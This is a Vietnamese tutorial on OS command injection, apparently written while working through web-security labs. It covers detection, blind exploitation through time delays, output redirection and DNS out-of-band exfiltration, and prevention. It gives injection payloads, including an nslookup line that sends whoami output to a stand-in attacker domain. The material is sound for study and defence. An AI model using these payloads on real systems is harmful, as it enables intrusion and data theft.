πŸ”OS Command injection

Server Side Vul

Trong section nΓ y, chΓΊng ta sαΊ½ cΓΉng nhau nghiΓͺn cα»©u về OS command injection, chΓΊng ta sαΊ½ xem lΓ m sao để phΓ‘t hiện vΓ  khai thΓ‘c lα»— hα»•ng , cΓΉng giαΊ£i thΓ­ch mα»™t sα»‘ lệnh vΓ  kα»Ή thuαΊ­t hα»―u Γ­ch cho cΓ‘c OS khΓ‘c nhau, vΓ  tΓ³m tαΊ―t cΓ‘ch ngΔƒn chαΊ·n việc Δ‘Ζ°a lệnh vΓ o OS.

OS command injection là gì

OS command injection( cΓ³ thể gọi nΓ³ lΓ  shell injection) is mα»™t lα»— hα»•ng web mΓ  cho phΓ©p kαΊ» tαΊ₯n cΓ΄ng tiαΊΏn hΓ nh cΓ‘c lệnh của OS bαΊ₯t kα»³ trΓͺn server mΓ  α»©ng dα»₯ng Δ‘ang chαΊ‘y vΓ  cΓ‘c thường lΓ m hỏng cΓ‘c loαΊ‘i α»©ng dα»₯ng vΓ  data trong nΓ³. ThΓ΄ng thường, kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể tαΊ­n dα»₯ng lα»— hα»•ng tiΓͺm lệnh của hệ Δ‘iều hΓ nh để xΓ’m phαΊ‘m cΓ‘c phαΊ§n khΓ‘c của cΖ‘ sở hαΊ‘ tαΊ§ng lΖ°u trα»―, khai thΓ‘c cΓ‘c mα»‘i quan hệ tin cαΊ­y để xoay trα»₯c cuα»™c tαΊ₯n cΓ΄ng sang cΓ‘c hệ thα»‘ng khΓ‘c trong tα»• chα»©c.

CΓ³ thể sα»­ dα»₯ng Burp suite để quΓ©t lα»— hα»•ng nΓ y

Executing arbitrary commands (Thα»±c thi cΓ‘c lệnh bαΊ₯t kα»³)

Xem xΓ©t mα»™t α»©ng dα»₯ng shopping rαΊ±ng cho phΓ©p người dΓΉng cΓ³ thể xem cΓ³ hay khΓ΄ng mαΊ·t hΓ ng trong kho hay khΓ΄ng trong mα»™t store cα»₯ thể . ĐÒy lΓ  thΓ΄ng tin được truy cαΊ­p qua mα»™t URL nhΖ° nΓ y:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Để cung cαΊ₯p thΓ΄ng tin kho hΓ ng, α»©ng dα»₯ng phαΊ£i query nhiều hệ thα»‘ng kαΊΏ thα»«a khΓ‘c nhau. Do lΓ½ do trΖ°α»›c Δ‘Γ³, chα»©c nΔƒng được triển khai bαΊ±ng cΓ‘ch gọi lệnh shell vα»›i sαΊ£n phαΊ©m vΓ  lΖ°u trα»― ID dΖ°α»›i dαΊ‘ng aruments:

stockreport.pl 381 29

Lệnh nΓ y xuαΊ₯t ra trαΊ‘ng thΓ‘i cΓ²n hΓ ng cho mαΊ·t hΓ ng Δ‘Γ£ chỉ Δ‘α»‹nh, được trαΊ£ lαΊ‘i cho người dΓΉng. VΓ¬ α»©ng dα»₯ng khΓ΄ng triển khai biện phΓ‘p bαΊ£o vệ chα»‘ng lαΊ‘i OS command injection, kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể gα»­i thΓ΄ng tin Δ‘αΊ§u vΓ o sau để thα»±c hiện mα»™t lệnh tΓΉy Γ½:

& echo aiwefwlguh &

NαΊΏu input nΓ y được gα»­i vΓ o tham sα»‘ productID sau Δ‘Γ³ lệnh sαΊ½ được tiαΊΏn hΓ nh bởi α»©ng dα»₯ng

stockreport.pl & echo aiwefwlguh & 29

Lệnh echo Δ‘Ζ‘n giαΊ£n lΓ  gΓ’y ra chuα»—i cung cαΊ₯p bα»‹ lαΊ·p lαΊ‘i ở output vΓ  Δ‘Γ³ lΓ  cΓ‘ch hα»―u Γ­ch để test cho mΓ΄t vΓ i loαΊ‘i của OS command injection. KΓ½ & tα»± lΓ  mα»™t dαΊ₯u phΓ’n tΓ‘ch lệnh shell, vΓ  vΓ¬ vαΊ­y nhα»―ng gΓ¬ được thα»±c thi thα»±c sα»± lΓ  ba lệnh riΓͺng biệt nα»‘i tiαΊΏp nhau. KαΊΏt quαΊ£ lΓ  kαΊΏt quαΊ£ trαΊ£ về cho người dΓΉng lΓ :

Error - productID was not provided
aiwefwlguh
29: command not found

Ba dΓ²ng Δ‘αΊ§u ra chα»©ng minh rαΊ±ng:

  • Lệnh ban Δ‘αΊ§u stockreport.pl được thα»±c thi mΓ  khΓ΄ng cΓ³ Δ‘α»‘i sα»‘ mong đợi của nΓ³ vΓ  do Δ‘Γ³ trαΊ£ về mα»™t thΓ΄ng bΓ‘o lα»—i.

  • Lệnh được Δ‘Ζ°a echo vΓ o Δ‘Γ£ được thα»±c thi vΓ  chuα»—i được cung cαΊ₯p được lαΊ·p lαΊ‘i trong Δ‘αΊ§u ra.

  • Đối sα»‘ ban Δ‘αΊ§u 29 được thα»±c thi dΖ°α»›i dαΊ‘ng mα»™t lệnh, Δ‘iều nΓ y gΓ’y ra lα»—i.

Việc Δ‘αΊ·t dαΊ₯u phΓ’n tΓ‘ch lệnh bα»• sung & sau lệnh được Δ‘Ζ°a vΓ o thường hα»―u Γ­ch vΓ¬ nΓ³ tΓ‘ch lệnh được tiΓͺm ra khỏi bαΊ₯t kα»³ thα»© gΓ¬ sau Δ‘iểm tiΓͺm. Điều nΓ y lΓ m giαΊ£m khαΊ£ nΔƒng nhα»―ng gΓ¬ tiαΊΏp theo sαΊ½ ngΔƒn khΓ΄ng cho lệnh được Δ‘Ζ°a vΓ o thα»±c thi.

Useful commands

Khi bαΊ‘n xΓ‘c Δ‘α»‹nh mα»™t lα»— hα»•ng Cmd Injection, nΓ³ thα»±c sα»± hα»―u Γ­ch để khai thΓ‘c mα»™t vΓ i cΓ’u lệnh khαΊ£ dα»₯ng chα»©a thΓ΄ng tin về hệ thα»‘ng của mΓ‘y chủ. ĐÒy lΓ  mα»™t vΓ i cΓ’u lệnh được sα»­ dα»₯ng trΓͺn hai nền tαΊ£ng Linux vΓ  Windows:

Blinh OS Command injection vulnerabilities

Nhiều trường hợp OS Cmd Injection lΓ  lα»— hα»•ng blinh(mΓΉ) - nΓ³ cΓ³ nghΔ©a lΓ  α»©ng dα»₯ng sαΊ½ khΓ΄ng return lαΊ‘i output tα»« cΓ’u lệnh trong phαΊ£n hα»“i HTTP. Lα»— hα»•ng Blind vαΊ«n cΓ³ thể khai thΓ‘c nhΖ°ng cαΊ§n dα»₯ng cΓ‘c kα»Ή thuαΊ­t khΓ‘c nhau.

ChΓΊng ta xem xΓ©t mα»™t trang web cho phΓ©p người dΓΉng gα»­i phαΊ£n hα»“i về trang web. Người dΓΉng nhαΊ­p Δ‘α»‹a chỉ email vΓ  thΓ΄ng bΓ‘o phαΊ£n hα»“i của họ. Sau Δ‘Γ³, α»©ng dα»₯ng phΓ­a mΓ‘y chủ sαΊ½ tαΊ‘o mα»™t email gα»­i tα»›i quαΊ£n trα»‹ viΓͺn trang cΓ³ chα»©a phαΊ£n hα»“i. Để lΓ m Δ‘iều nΓ y, nΓ³ gọi mailchΖ°Ζ‘ng trΓ¬nh vα»›i cΓ‘c chi tiαΊΏt Δ‘Γ£ gα»­i. VΓ­ dα»₯:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

Output tα»« cΓ’u lệnh mail khΓ΄ng được trαΊ£ trong phαΊ£n hα»“i của α»©ng dα»₯ng, vαΊ­y nαΊΏu sα»­ dα»₯ng payload hay cΓ’u lệnh echo cΕ©ng khΓ΄ng cΓ³ output trαΊ£ về. Trong trường hợp nΓ y, bαΊ‘n cΓ³ thể sα»­ dα»₯ng mα»™t loαΊ‘t cΓ‘c kα»Ή thuαΊ­t khΓ‘c để phΓ‘t hiện vΓ  khai thΓ‘c lα»— hα»•ng.

Detecting blind OS command injection using time delays

ChΓΊng ta cΓ³ thể sα»­ dα»₯ng mα»™t injected command nhΖ° lΓ  trigger mα»™t thời gian delay, nΓ³ cho phΓ©p bαΊ‘n confirm rαΊ±ng cΓ’u lệnh Δ‘Γ£ được thα»±c hiện dα»±a trΓͺn thời gian mΓ  α»©ng dα»₯ng phαΊ£n hα»“i. Lệnh Ping lΓ  mα»™t lệnh để lΓ m Δ‘iều nΓ y vΓ¬ nΓ³ cho phΓ©p bαΊ‘n chỉ Δ‘α»‹nh sα»‘ lượng gΓ³i ICMP sαΊ½ gα»­i vΓ  do Δ‘Γ³, thời gian để lệnh chαΊ‘y:

& ping -c 10 127.0.0.1 &

Lệnh nΓ y sαΊ½ khiαΊΏn α»©ng dα»₯ng ping bα»™ Δ‘iều hợp mαΊ‘ng loopback của nΓ³ trong 10 giΓ’y.

Exploiting blind OS command injection by redirecting output

ChΓΊng ta cΓ³ thể chuyển hΖ°α»›ng Δ‘αΊ§u ra tα»« lệnh được chΓ¨n vΓ o mα»™t tệp trong thΖ° mα»₯c gα»‘c của web(root) mΓ  sau Δ‘Γ³ bαΊ‘n cΓ³ thể truy xuαΊ₯t bαΊ±ng trΓ¬nh duyệt. VΓ­ dα»₯: nαΊΏu α»©ng dα»₯ng phα»₯c vα»₯ tΓ i nguyΓͺn tΔ©nh (serves static resources) tα»« vα»‹ trΓ­ hệ thα»‘ng tệp /var/www/staticthΓ¬ bαΊ‘n cΓ³ thể gα»­i thΓ΄ng tin Δ‘αΊ§u vΓ o sau:

& whoami > /var/www/static/whoami.txt &

KΓ½ >tα»± gα»­i Δ‘αΊ§u ra tα»« whoamilệnh Δ‘αΊΏn tệp được chỉ Δ‘α»‹nh. Sau Δ‘Γ³, bαΊ‘n cΓ³ thể sα»­ dα»₯ng trΓ¬nh duyệt để tΓ¬m nαΊ‘p https://vulnerable-website.com/whoami.txtđể truy xuαΊ₯t tệp vΓ  xem Δ‘αΊ§u ra tα»« lệnh được Δ‘Ζ°a vΓ o.

Exploiting blind OS command injection using out-of-band (OAST) techniques

ChΓΊng ta cΓ³ thể sα»­ dα»₯ng mα»™t lệnh được Δ‘Ζ°a vΓ o sαΊ½ kΓ­ch hoαΊ‘t tΖ°Ζ‘ng tΓ‘c mαΊ‘ng ngoΓ i bΔƒng tαΊ§n vα»›i hệ thα»‘ng mΓ  bαΊ‘n kiểm soΓ‘t, sα»­ dα»₯ng cΓ‘c kα»Ή thuαΊ­t OAST. VΓ­ dα»₯:

& nslookup kgji2ohoyw.web-attacker.com &

Payload nΓ y sα»­ dα»₯ng lệnh nslookup để thα»±c hiện tra cα»©u DNS cho miền được chỉ Δ‘α»‹nh. KαΊ» tαΊ₯n cΓ΄ng cΓ³ thể theo dΓ΅i quΓ‘ trΓ¬nh tra cα»©u được chỉ Δ‘α»‹nh xαΊ£y ra vΓ  do Δ‘Γ³ phΓ‘t hiện ra rαΊ±ng lệnh Δ‘Γ£ được Δ‘Ζ°a vΓ o thΓ nh cΓ΄ng.

KΓͺnh ngoΓ i bΔƒng tαΊ§n cΕ©ng cung cαΊ₯p mα»™t cΓ‘ch dα»… dΓ ng để trΓ­ch xuαΊ₯t Δ‘αΊ§u ra tα»« cΓ‘c lệnh được Δ‘Ζ°a vΓ o:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Điều nΓ y sαΊ½ gΓ’y ra tra cα»©u DNS Δ‘α»‘i vα»›i miền của kαΊ» tαΊ₯n cΓ΄ng cΓ³ chα»©a kαΊΏt quαΊ£ của lệnh whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Note: DαΊ₯u `command` để execute trong server mΓ‘y chủ. Dα»… hiểu hΖ‘n lΓ  bαΊ‘n test echo `ls` trong ubuntu sαΊ½ rΓ΅...

Ways of injecting OS commands

Mα»™t loαΊ‘t cΓ‘c siΓͺu kΓ½ tα»± shell cΓ³ thể được sα»­ dα»₯ng để thα»±c hiện cΓ‘c cuα»™c tαΊ₯n cΓ΄ng tiΓͺm lệnh hệ Δ‘iều hΓ nh.

Mα»™t sα»‘ kΓ½ tα»± hoαΊ‘t Δ‘α»™ng nhΖ° cΓ‘c dαΊ₯u tΓ‘ch lệnh, cho phΓ©p cΓ‘c lệnh được xΓ’u chuα»—i lαΊ‘i vα»›i nhau. CΓ‘c trΓ¬nh tΓ‘ch lệnh sau hoαΊ‘t Δ‘α»™ng trΓͺn cαΊ£ hệ thα»‘ng dα»±a trΓͺn Windows vΓ  Unix:

  • &

  • &&

  • |

  • ||

CΓ‘c lệnh sau chỉ hoαΊ‘t Δ‘α»™ng trΓͺn cΓ‘c hệ thα»‘ng dα»±a trΓͺn Unix:

  • ;

  • Newline (0x0a or )

TrΓͺn cΓ‘c hệ thα»‘ng dα»±a trΓͺn Unix, bαΊ‘n cΕ©ng cΓ³ thể sα»­ dα»₯ng backticks hoαΊ·c kΓ½ tα»± $ để thα»±c hiện thα»±c thi nα»™i tuyαΊΏn lệnh được Δ‘Ζ°a vΓ o trong lệnh gα»‘c:

  • `injected command `

  • $(injected command )

LΖ°u Γ½ rαΊ±ng cΓ‘c siΓͺu kΓ½ tα»± shell khΓ‘c nhau cΓ³ cΓ‘c hΓ nh vi khΓ‘c nhau mα»™t cΓ‘ch tinh vi cΓ³ thể αΊ£nh hưởng Δ‘αΊΏn việc liệu chΓΊng cΓ³ hoαΊ‘t Δ‘α»™ng trong mα»™t sα»‘ tΓ¬nh huα»‘ng nhαΊ₯t Δ‘α»‹nh hay khΓ΄ng vΓ  liệu chΓΊng cΓ³ cho phΓ©p truy xuαΊ₯t Δ‘αΊ§u ra lệnh trong dαΊ£i hay chỉ hα»―u Γ­ch cho việc khai thΓ‘c mΓΉ quΓ‘ng hay khΓ΄ng.

Đôi khi, Δ‘αΊ§u vΓ o mΓ  bαΊ‘n kiểm soΓ‘t xuαΊ₯t hiện trong dαΊ₯u ngoαΊ·c kΓ©p trong lệnh ban Δ‘αΊ§u. Trong tΓ¬nh huα»‘ng nΓ y, bαΊ‘n cαΊ§n chαΊ₯m dα»©t ngα»― cαΊ£nh được trΓ­ch dαΊ«n (sα»­ dα»₯ng "hoαΊ·c ') trΖ°α»›c khi sα»­ dα»₯ng cΓ‘c siΓͺu kΓ½ tα»± shell phΓΉ hợp để Δ‘Ζ°a vΓ o mα»™t lệnh mα»›i.

NΓ³i chung Δ‘Γ΄i khi bαΊ‘n phαΊ£i tα»± debug để ra payload hoΓ n chỉnh cΓ³ thể exploit được trang web cΓ³ lα»—i

How to prevent OS command injection attacks

Cho Δ‘αΊΏn nay, cΓ‘ch hiệu quαΊ£ nhαΊ₯t để ngΔƒn chαΊ·n cΓ‘c lα»— hα»•ng chΓ¨n lệnh của hệ Δ‘iều hΓ nh lΓ  khΓ΄ng bao giờ gọi cΓ‘c lệnh của hệ Δ‘iều hΓ nh tα»« mΓ£ lα»›p α»©ng dα»₯ng. Trong hαΊ§u hαΊΏt mọi trường hợp, cΓ³ nhiều cΓ‘ch thay thαΊΏ để triển khai chα»©c nΔƒng được yΓͺu cαΊ§u bαΊ±ng cΓ‘ch sα»­ dα»₯ng API nền tαΊ£ng an toΓ n hΖ‘n.

NαΊΏu khΓ΄ng thể gọi ra cΓ‘c lệnh của hệ Δ‘iều hΓ nh vα»›i Δ‘αΊ§u vΓ o do người dΓΉng cung cαΊ₯p, thΓ¬ phαΊ£i thα»±c hiện xΓ‘c thα»±c Δ‘αΊ§u vΓ o mαΊ‘nh mαΊ½. Mα»™t sα»‘ vΓ­ dα»₯ về xΓ‘c nhαΊ­n hiệu quαΊ£ bao gα»“m:

  • XΓ‘c thα»±c Δ‘α»‘i vα»›i white list cΓ‘c giΓ‘ trα»‹ được phΓ©p.

  • XΓ‘c thα»±c rαΊ±ng Δ‘αΊ§u vΓ o lΓ  mα»™t sα»‘.

  • XΓ‘c thα»±c rαΊ±ng Δ‘αΊ§u vΓ o chỉ chα»©a cΓ‘c kΓ½ tα»± chα»― vΓ  sα»‘, khΓ΄ng cΓ³ cΓΊ phΓ‘p hoαΊ·c khoαΊ£ng trαΊ―ng nΓ o khΓ‘c.

KhΓ΄ng bao giờ cα»‘ gαΊ―ng lΓ m sαΊ‘ch Δ‘αΊ§u vΓ o bαΊ±ng cΓ‘ch thoΓ‘t khỏi cΓ‘c siΓͺu kΓ½ tα»± shell. Trong thα»±c tαΊΏ, Δ‘iều nΓ y quΓ‘ dα»… xαΊ£y ra lα»—i vΓ  dα»… bα»‹ kαΊ» tαΊ₯n cΓ΄ng lΓ nh nghề vượt qua.

Tα»•ng kαΊΏt

CαΊ£m Ζ‘n cΓ‘c bαΊ‘n Δ‘Γ£ đọc bΓ i của mΓ¬nh, bΓ i nΓ y dα»±a trΓͺn mΓ¬nh vα»«a lΓ m lab vα»«a viαΊΏt.

Last updated